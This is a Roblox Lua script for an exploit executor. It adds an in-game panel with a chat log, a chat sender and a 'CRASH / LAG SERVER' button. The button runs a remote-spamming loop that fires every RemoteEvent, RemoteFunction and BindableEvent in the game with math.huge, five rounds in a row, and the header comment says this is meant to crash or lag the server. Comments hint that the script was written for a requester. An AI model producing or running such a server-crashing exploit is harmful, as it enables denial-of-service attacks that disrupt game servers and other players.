--[[ Universal GUI: Chat Log, Chat Sender, and Server Crasher Controls: - Press [Right Control] to toggle UI visibility. - Click the run button a couple times and it should crash the server/lag it. ]] local Players = game:GetService("Players") local CoreGui = game:GetService("CoreGui") local ReplicatedStorage = game:GetService("ReplicatedStorage") local TextChatService = game:GetService("TextChatService") local UserInputService = game:GetService("UserInputService") local TweenService = game:GetService("TweenService") local LocalPlayer = Players.LocalPlayer -- 1. UI CREATION local ScreenGui = Instance.new("ScreenGui") local MainFrame = Instance.new("Frame") local Title = Instance.new("TextLabel") local ChatLogScroll = Instance.new("ScrollingFrame") local ChatInput = Instance.new("TextBox") local SendButton = Instance.new("TextButton") local CrashButton = Instance.new("TextButton") local CloseButton = Instance.new("TextButton") local UICorner = Instance.new("UICorner") -- Protect GUI (If supported by executor, otherwise parent to PlayerGui) if syn and syn.protect_gui then syn.protect_gui(ScreenGui) ScreenGui.Parent = CoreGui elseif gethui then ScreenGui.Parent = gethui() else ScreenGui.Parent = CoreGui end ScreenGui.Name = "UniversalToolsUI" ScreenGui.ResetOnSpawn = false -- Main Frame Styling MainFrame.Name = "MainFrame" MainFrame.Parent = ScreenGui MainFrame.BackgroundColor3 = Color3.fromRGB(35, 35, 35) MainFrame.Position = UDim2.new(0.5, -200, 0.5, -150) MainFrame.Size = UDim2.new(0, 400, 0, 350) MainFrame.BorderSizePixel = 0 MainFrame.Active = true MainFrame.Draggable = true -- Simple drag local MainCorner = Instance.new("UICorner") MainCorner.CornerRadius = UDim.new(0, 8) MainCorner.Parent = MainFrame -- Title Title.Name = "Title" Title.Parent = MainFrame Title.BackgroundColor3 = Color3.fromRGB(50, 50, 50) Title.BackgroundTransparency = 1 Title.Size = UDim2.new(1, 0, 0, 30) Title.Font = Enum.Font.GothamBold Title.Text = " Server Tools & Chat" Title.TextColor3 = Color3.fromRGB(255, 255, 255) Title.TextSize = 14 Title.TextXAlignment = Enum.TextXAlignment.Left -- Chat Log Area ChatLogScroll.Name = "ChatLog" ChatLogScroll.Parent = MainFrame ChatLogScroll.Active = true ChatLogScroll.BackgroundColor3 = Color3.fromRGB(25, 25, 25) ChatLogScroll.BorderSizePixel = 0 ChatLogScroll.Position = UDim2.new(0.05, 0, 0.12, 0) ChatLogScroll.Size = UDim2.new(0.9, 0, 0.55, 0) ChatLogScroll.CanvasSize = UDim2.new(0, 0, 0, 0) ChatLogScroll.ScrollBarThickness = 6 local UIListLayout = Instance.new("UIListLayout") UIListLayout.Parent = ChatLogScroll UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder -- Chat Input Box ChatInput.Name = "ChatInput" ChatInput.Parent = MainFrame ChatInput.BackgroundColor3 = Color3.fromRGB(50, 50, 50) ChatInput.BorderSizePixel = 0 ChatInput.Position = UDim2.new(0.05, 0, 0.70, 0) ChatInput.Size = UDim2.new(0.7, 0, 0.1, 0) ChatInput.Font = Enum.Font.Gotham ChatInput.PlaceholderText = "Type message here..." ChatInput.Text = "" ChatInput.TextColor3 = Color3.fromRGB(255, 255, 255) ChatInput.TextSize = 14 local InputCorner = Instance.new("UICorner") InputCorner.Parent = ChatInput -- Send Button SendButton.Name = "SendButton" SendButton.Parent = MainFrame SendButton.BackgroundColor3 = Color3.fromRGB(0, 120, 215) SendButton.Position = UDim2.new(0.78, 0, 0.70, 0) SendButton.Size = UDim2.new(0.17, 0, 0.1, 0) SendButton.Font = Enum.Font.GothamBold SendButton.Text = "Send" SendButton.TextColor3 = Color3.fromRGB(255, 255, 255) SendButton.TextSize = 14 local SendCorner = Instance.new("UICorner") SendCorner.Parent = SendButton -- Crash Button (The Request) CrashButton.Name = "CrashButton" CrashButton.Parent = MainFrame CrashButton.BackgroundColor3 = Color3.fromRGB(200, 50, 50) CrashButton.Position = UDim2.new(0.05, 0, 0.85, 0) CrashButton.Size = UDim2.new(0.9, 0, 0.1, 0) CrashButton.Font = Enum.Font.GothamBold CrashButton.Text = "CRASH / LAG SERVER" CrashButton.TextColor3 = Color3.fromRGB(255, 255, 255) CrashButton.TextSize = 14 local CrashCorner = Instance.new("UICorner") CrashCorner.Parent = CrashButton ------------------------------------------------------ -- 2. FUNCTIONALITY ------------------------------------------------------ -- Helper: Add Message to Log local function addLog(playerDetails, message) local Label = Instance.new("TextLabel") Label.Parent = ChatLogScroll Label.BackgroundTransparency = 1 Label.Size = UDim2.new(1, 0, 0, 20) Label.Font = Enum.Font.Gotham Label.TextColor3 = Color3.fromRGB(255, 255, 255) Label.TextSize = 12 Label.TextXAlignment = Enum.TextXAlignment.Left Label.Text = " [" .. playerDetails .. "]: " .. message Label.TextWrapped = true ChatLogScroll.CanvasSize = UDim2.new(0, 0, 0, UIListLayout.AbsoluteContentSize.Y) ChatLogScroll.CanvasPosition = Vector2.new(0, UIListLayout.AbsoluteContentSize.Y) end -- Chat Listener (Captures chat for the log) local function connectPlayerChat(player) player.Chatted:Connect(function(msg) addLog(player.Name, msg) end) end for _, v in pairs(Players:GetPlayers()) do connectPlayerChat(v) end Players.PlayerAdded:Connect(function(v) connectPlayerChat(v) end) -- Chat Sender Function (Universal) local function sendMessage() local msg = ChatInput.Text if msg == "" then return end -- Method 1: Legacy Chat System local ReplicatedStorage = game:GetService("ReplicatedStorage") local DefaultChat = ReplicatedStorage:FindFirstChild("DefaultChatSystemChatEvents") if DefaultChat and DefaultChat:FindFirstChild("SayMessageRequest") then DefaultChat.SayMessageRequest:FireServer(msg, "All") -- Method 2: TextChatService (Newer Roblox Games) elseif TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then local channel = TextChatService.TextChannels.RBXGeneral if channel then channel:SendAsync(msg) end else -- Fallback game.Players:Chat(msg) end ChatInput.Text = "" -- Clear box end SendButton.MouseButton1Click:Connect(sendMessage) ChatInput.FocusLost:Connect(function(enterPressed) if enterPressed then sendMessage() end end) -- Crash/Lag Logic (From your previous script) CrashButton.MouseButton1Click:Connect(function() CrashButton.Text = "Spamming Remotes..." local settings = 0.5 -- Faster delay for button press for i = 1, 5 do -- Start for p, v in pairs(game:GetDescendants()) do coroutine.wrap(function() local success, err = pcall(function() if v:IsA("RemoteFunction") then v:InvokeServer(math.huge) elseif v:IsA("RemoteEvent") then v:FireServer(math.huge) elseif v:IsA("BindableEvent") and v ~= Players.LocalPlayer.PlayerGui:FindFirstChild("Intro") then -- Added extra safety check for common Intro scripts v:Fire(game.Players.LocalPlayer, math.huge) end end) end)() end task.wait(settings) end CrashButton.Text = "Done (Click to retry)" wait(1) CrashButton.Text = "CRASH / LAG SERVER" end) -- Toggle UI UserInputService.InputBegan:Connect(function(input, gpe) if input.KeyCode == Enum.KeyCode.RightControl then MainFrame.Visible = not MainFrame.Visible end end) print("UI Loaded. Press Right Control to toggle.")